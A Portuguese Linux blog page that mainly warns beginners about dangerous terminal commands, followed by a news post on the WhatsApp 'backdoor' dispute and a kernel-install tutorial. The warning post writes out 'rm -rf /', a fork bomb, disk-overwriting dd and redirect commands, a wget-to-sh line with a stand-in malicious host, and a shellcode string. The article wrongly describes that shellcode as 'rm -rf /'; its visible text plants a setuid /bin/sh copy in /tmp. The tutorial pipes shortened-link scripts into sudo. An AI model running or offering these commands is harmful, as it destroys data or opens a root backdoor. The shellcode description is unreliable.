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segunda-feira, 30 de janeiro de 2017

7 comandos perigosos do Linux que você NUNCA deve executar


Dionatan Simioni quarta-feira, 25 de janeiro de 2017

Como o número de usuários leigos de Linux vem aumentando
com o tempo, acho pertinente alertar as pessoas sobre
alguns comandos que podem ser perigosos, tanto para
o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta
disso é bom você dominá-lo, ou pelo menos entendê-lo,
 para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando
o terminal de forma indiscriminada normalmente estão
 atrelados a comandos de sobrescrita de dados, então
vamos mostrar alguns aqui que você deve prestar
especial atenção quando vir alguém sugerindo que
você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes 
comandos no seu computador, isso pode 
causar danos irreversíveis que nós não nos responsabilizamos, 
o artigo tem a intenção de ser instrutivo, justamente para evitar 
este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não
faz nada de mais, ele serve apenas para apagar arquivos,
e é aí que mora o perigo. Dependendo da forma que ele for
aplicativo o resultado pode ser muito desagradável,
por isso é importante você entender o que os comandos fazem,
 vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo
que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura"
que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/"
 você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório
 atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também
 as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes,
 especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o 
Linux se protege contra ele, se você rodá-lo, mesmo com sudo 
ou como root, ele não vai funcionar, para isso é preciso 
usar os parâmetros descritos na imagem acima. Da mesma 
forma que o Linux protege você de destruir o sistema sem 
querer, ele também permite que você o destrua mediante a 
ter certeza de que é realmente isso que você quer, curioso, 
não é?

2 - :(){:|:&};:



Este comando funciona como uma "Fork Bomb", ele opera

definindo uma função chamada ':', que se chama duas vezes,
 uma vez em primeiro plano e outra em segundo plano, o
processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é
 diferente do Windows, por conta disso, normalmente
novatos não conseguem entender em primeira instância como
 eles são distribuídos. Normalmente a localização dos dispositivos
 de armazenamento do sistema ficam dentro de /dev, sendo que
 podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a
saída de qualquer comando que seja colocado para o seu
 bloco de armazenamento, desta foma sobrescrevendo alguns
 dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o 
"buraco negro" do Linux. Tudo que é enviado para ele é perdido
 "para sempre". Então tome cuidado ao mover qualquer coisa
 para esta localização. O comando mv serve para mover arquivos
 ou diretórios para o destino indicado, se este destino for o /dev/null
 você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas.
O wget é o programa responsável por fazer o download da URL
que vem logo após, ele é bem útil para baixar arquivos em geral,
 o problema está no arquivo que ele baixa e na sequência do comando
 que o executa no caso dele ser um shell script. Só baixe arquivos
desta forma de fontes que você considera confiáveis e se estiver
na dúvida, baixe apenas o arquivo de shell, eliminando qualquer
 parâmetro que apareça após o link, assim você pode abrir ele em
 um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o
destino ser o /dev/sda. Tome cuidado. O comando dd pode ser
muito útil para copiar arquivos e até mesmo partições inteiras,
como no exemplo 6, mas se a saída for um outro disco, tome
cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa,
se você não dominá-lo, é bom ter cuidado com que você for rodar
nele, se o você não fala a língua do terminal, saiba que ele fala muitas
 outras. O comando abaixo nada mais é do que o comando indicado
no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não
 rode coisas no terminal que você não sabe para quem servem,
existem muito conteúdo grátis a internet para você estudar sobre e
 até mesmo alguns bons cursos pagos, como é o caso do
"Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais,
 se você evitar colocar comandos que você não sabe para que servem
 direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas
 a ficarem precavidas sobre estes pequenos percalços da vida
computacional.

Até a próxima!
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The Guardian modifica matéria que acusava WhatsApp de ter um backdoor

HomeNotíciasSegurança

Jornal britânico The Guardian modifica matéria que acusava WhatsApp de ter um backdoor

Jornal britânico The Guardian modifica matéria que acusava WhatsApp de ter um backdoor
Após criticas de vários analistas, pesquisadores e entidades de segurança, o jornal The Guardian modificou a matéria sobre "backdoor" do aplicativo WhatsApp.
 Grupo de pesquisadores e analistas de segurança se juntam contra matéria sobre "backdoor" do WhatsApp
 Backdoor encontrado no WhatsApp permite a interceptação e leitura das mensagens
 WhatsApp recebe função de chamadas de vídeo
A novela “The Guardian v WhatsApp” ganhou mais um novo capitulo, após a publicação da Carta Aberta de Zeynep Tufekci, e assinada por vários especialistas da área de segurança, condenando a matéria do pesquisador alemão Tobias Boelter, o jornal The Guardian modificou a matéria original substituindo a palavra “backdoor” por “vulnerabilidade”.

Um porta-voz do The Guardian disse: "o WhatsApp foi abordado antes da publicação e incluímos sua resposta na história, bem como um comentário de acompanhamento que foi recebido após a publicação. Enquanto isso estamos de acordo com o nosso artigo que alterou o uso do termo "backdoor" em concordância com a resposta apresentada no rodapé do artigo para reconhecer isso."

Segundo o artigo escrito por Tobias Boelter, diz que há, de fato, um backdoor no famoso sistema de mensagens. A criptografia do WhatsApp é apoiada por chaves de segurança produzidas pelo protocolo Signal. Mas o WhatsApp, afirma o artigo, mantém a capacidade de forçar a geração de novas chaves sem o conhecimento dos usuários. A geração destas chaves permitia a re-criptografia e envio de mensagens que não conseguiram ser entregues ao seu destinatário.

Boelter, informou ao The Guardian que, "se for solicitado os registros de mensagens do WhatsApp por uma agência governamental, ele pode efetivamente conceder acesso devido à mudança de chaves".

Muitos membros da comunidade de pesquisa de segurança desmentiram as afirmações contidas no artigo, dizendo que a descoberta de Boelter não era um backdoor, mas uma vulnerabilidade muito difícil e muito improvável de ser explorada.

Bart Preneel, um dos maiores criptógrafos e especialista em segurança do mundo, e também signatário da carta aberta de Zeynep Tufekci, disse que "não há backdoor um no WhatsApp. O chamado backdoor é uma decisão de design deliberada que melhora a sua usabilidade. Isso acontece quando uma mensagem permanece como não entregue, quando é enviada para um usuário que acabou de adquirir um novo smartphone ou cartão SIM.”

WhatsApp, acrescentou Preneel, fornece uma maneira conveniente para os usuários recuperarem essas mensagens, "o preço pago é um pequeno aumento na vulnerabilidade a um ataque muito sofisticado que só se aplica em uma janela de oportunidade muito curta quando os usuários trocam de smartphones ou cartões SIM. Para a grande maioria dos usuários, a decisão do WhatsApp é perfeitamente correta.”

WhatsApp também descartou as alegações do artigo: "O WhatsApp não dá aos governos um “backdoor” em seus sistemas e lutaríamos contra qualquer pedido do governo para criar um backdoor. A decisão de design referenciada na história do The Guardian impede que milhões de mensagens sejam perdidas, e o WhatsApp oferece notificações de segurança às pessoas para alertá-las sobre possíveis riscos de segurança”.

Backdoor do WhatsApp

Grupo de pesquisadores e analistas de segurança se juntam contra matéria sobre "backdoor" do WhatsApp

Grupo de pesquisadores e analistas de segurança se juntam contra matéria sobre "backdoor" do WhatsApp
Grupo de analistas e pesquisadores de segurança disseram que as alegações sobre o WhatsApp são falsas
 Jornal britânico The Guardian modifica matéria que acusava WhatsApp de ter um backdoor
 Backdoor encontrado no WhatsApp permite a interceptação e leitura das mensagens
 WhatsApp recebe função de chamadas de vídeo
Semana passada, o jornal britânico The Guardian publicou uma matéria acusando o WhatsApp de ter colocado um backdoor, em seu serviço de mensagens, com a capacidade de interceptar as mensagens de seus usuários. A matéria foi publicada no SempreUpdate e pode ser lida clicando aqui.

Pois bem, um grupo de trinta analistas da área de segurança co-assinaram uma carta aberta pedindo que o jornal The Guardian se retratasse sobre a matéria, alegando que o aplicativo de mensagens WhatsApp contém um "backdoor".

"Infelizmente, sua história foi o equivalente a colocar ‘VACINAS MATAM PESSOAS’ em uma manchete mal contextualizada", escreve a acadêmica Zeynep Tufekci, que organizou a carta aberta.

A carta aberta alega que as afirmações do The Guardian servem apenas “para pôr em perigo as pessoas".

"Meu aviso serve para observar o que realmente está acontecendo desde a publicação desta história e anos de experiência nessas áreas", escreve Tufekci, acrescentando: "Vocês nunca deveriam ter relatado sobre uma questão tão crucial sem entrevistar uma vasta gama de especialistas.”

Ela também deu sua opinião sobre o relatório do The Guardian e as potenciais consequências para os usuários do WhatsApp em seu Twitter.
WhatsApp também rejeitou firmemente as afirmações do The Guardian sobre um "backdoor" em sua plataforma, dizendo que as alegações são falsas:"O WhatsApp não dá aos governos um ‘backdoor’ em seus sistemas e iriamos lutar contra qualquer pedido do governo para criar um backdoor. A decisão de design referenciada na história do The Guardian impede que milhões de mensagens sejam perdidas, e o WhatsApp oferece notificações de segurança às pessoas para alertá-las sobre possíveis riscos de segurança.”

Moxie Marlinspike, responsável pela implementação da criptografia end-to-end no WhatsApp, declarou que a matéria do The Guardian é "imprecisa". Um post do blog do Open Whisper Systems, empresa fundada por Moxie, diz:"Acreditamos que o WhatsApp continua sendo uma ótima opção para usuários preocupados com a privacidade do conteúdo de suas mensagens".

A matéria do jornal é baseada no relatório do pesquisador independente Tobias Boelter, que descreveu o problema como uma "vulnerabilidade de retransmissão" na maneira como o WhatsApp lida com as trocas de chaves quando uma mensagem não é entregue.

Boelter disse que informou o problema para a empresa responsável pelo WhatsApp, o Facebook, no momento em que descobriu o problema, mas foi informado de que era um "comportamento esperado".

WhatsApp afirmou que o processo de retransmissão de chaves é uma decisão de design - destinada a minimizar o risco de perda de mensagens no durante o trajeto, quando, por exemplo, alguém recebe um novo telefone ou troca seu SIM.

E o grupo de pesquisadores de segurança co-assinando a carta de Tufekci ao The Guardian evidentemente concordam que é uma característica e não um bug ou backdoor.
A carta aberta de Tufekci conta com as assinaturas do criptografo Bruce Schneier, de Isis Lovecruft do projeto Tor, do pesquisador de segurança Thaddeus T. 'Grugq', de Katherine McKinley da Mozilla, e do pesquisador e autor de segurança Jonathan Zdiarski.

Mas e ai? É um bug, vulnerabilidade, característica ou backdoor?

Instalando o Kernel Linux 4.9.4

Como instalar o Kernel Linux 4.9.4 no Ubuntu, Debian, Fedora, openSUSE e derivados

Como instalar o Kernel Linux 4.9.4 no Ubuntu, Debian, Fedora, openSUSE e derivados
Para você que prefere manter o seu sistema atualizado, então chegou a hora, veja neste artigo como instalar o Kernel Linux 4.9.4 no Ubuntu, Debian, Fedora, openSUSE e derivados.
 Como instalar o Telegram Desktop 0.10.16, no Debian, Ubuntu, LinuxMint, Fedora, ArchLinux, openSUSE, Chakra!
 Como utilizar o Wget para continuar seus downloads no Linux!
 Lançada a versão final da distribuição openSUSE Leap 42.2
Neste artigo vamos ensinar como instalar ou atualizar o Kernel Linux 4.9.4 no Ubuntu, Debian, Linux Mint, Fedora, openSUSE e em qualquer distribuição de forma simples e automática através de um script ou manual. Um detalhe importante, a versão next-20170117 foi lançada, porém como se trata de uma versão que esta em desenvolvimento, recomendamos instalar a versão 4.9.4, qualquer novidade sobre a versão mais recente vamos lançar o script.

Existem dois métodos, o primeiro é para distribuições baseadas no Ubuntu e que seguem por suas derivações, vamos utilizar um script shell que vai baixar os pacotes .deb que são compilados pela Canonical, em seguida instalar e por último o seu computador será automaticamente reiniciado, e a segunda forma vamos instalar manualmente através do pacote fonte disponibilizado pelo Linus Torvalds, através do kernel.org. Queremos deixar claro que não nos responsabilizamos por qualquer erro. Lembre-se que o script vai reiniciar o seu computador automaticamente.


Para instalar o Kernel padrão selecione o código abaixo e cole no terminal:

wget https://goo.gl/8PAzho -O kernel-4.9.4-generic

chmod +x kernel-4.9.4-generic

sudo sh kernel-4.9.4-generic

Para instalar o Kernel de baixa latência, você deve o colar o script abaixo:

wget https://goo.gl/2YGn7L -O kernel-4.9.4-lowlatency

chmod +x kernel-4.9.4-lowlatency

sudo sh kernel-4.9.4-lowlatency

Não sabe o que é um kernel de baixa latência?


Para ver as alterações feitas pela Canonical, por favor clique no botão abaixo: 

Agora vou mostrar como instalar o kernel diretamente do código fornecido pelo Linus, lembrando que esta instalação é manual, e alguns módulos podem não estar presentes, nesse caso você terá que instalar manualmente, isso não ocorre com frequência, mas se você tem um computador um pouco mais antigo e estiver executando alguma distribuição baseada no Debian, sugerimos que faça a instalação através dos pacotes da Canonical, que contém alguns ajustes importantes. Digamos, que este kernel seja o puro, cru, ou como queira chamar.
Vamos baixar a versão 4.9.4 do Linux Kernel, o download será feito diretamente do kernel.org:

wget https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.9.4.tar.xz

Agora vamos instalar os compiladores para o kernel, de acordo com a sua distribuição, abaixo vamos mostrar como fazer o processo no Fedora e suas derivações e também no openSUSE e suas derivações, o nome dos pacotes são os mesmos para qualquer distribuição, então caso a sua não esteja nos exemplos abaixo, use o gerenciador de pacotes da sua distribuição e pronto, os pacotes serão instalados, os outros comandos que vem a seguir são padrões do Linux e não dependem daquela ou esta distribuição, vai funcionar em qualquer uma, mãos à obra:

No Fedora:

dnf install gcc make ctags ncurses-devel -y

Se for openSUSE execute: 

zypper in gcc make ctags ncurses-devel

Descompacte o arquivos: 

tar -xvf linux-4.9.4.tar.xz

Acesse o seu diretório: 

Copie o seu config para esse diretório: 

cp /boot/config-'uname -r'* .config

E vamos ao processo de compilar, isso pode demorar um pouco e esse tempo vai de acordo com o seu processador e memória, o tempo mais longo que observamos foi de aproximadamente 20 minutos.

make modules_install install

Atualize o seu GRUB: 

grub2-mkconfig -o /boot/grub2/grub.cfg

E reinicie a distribuição: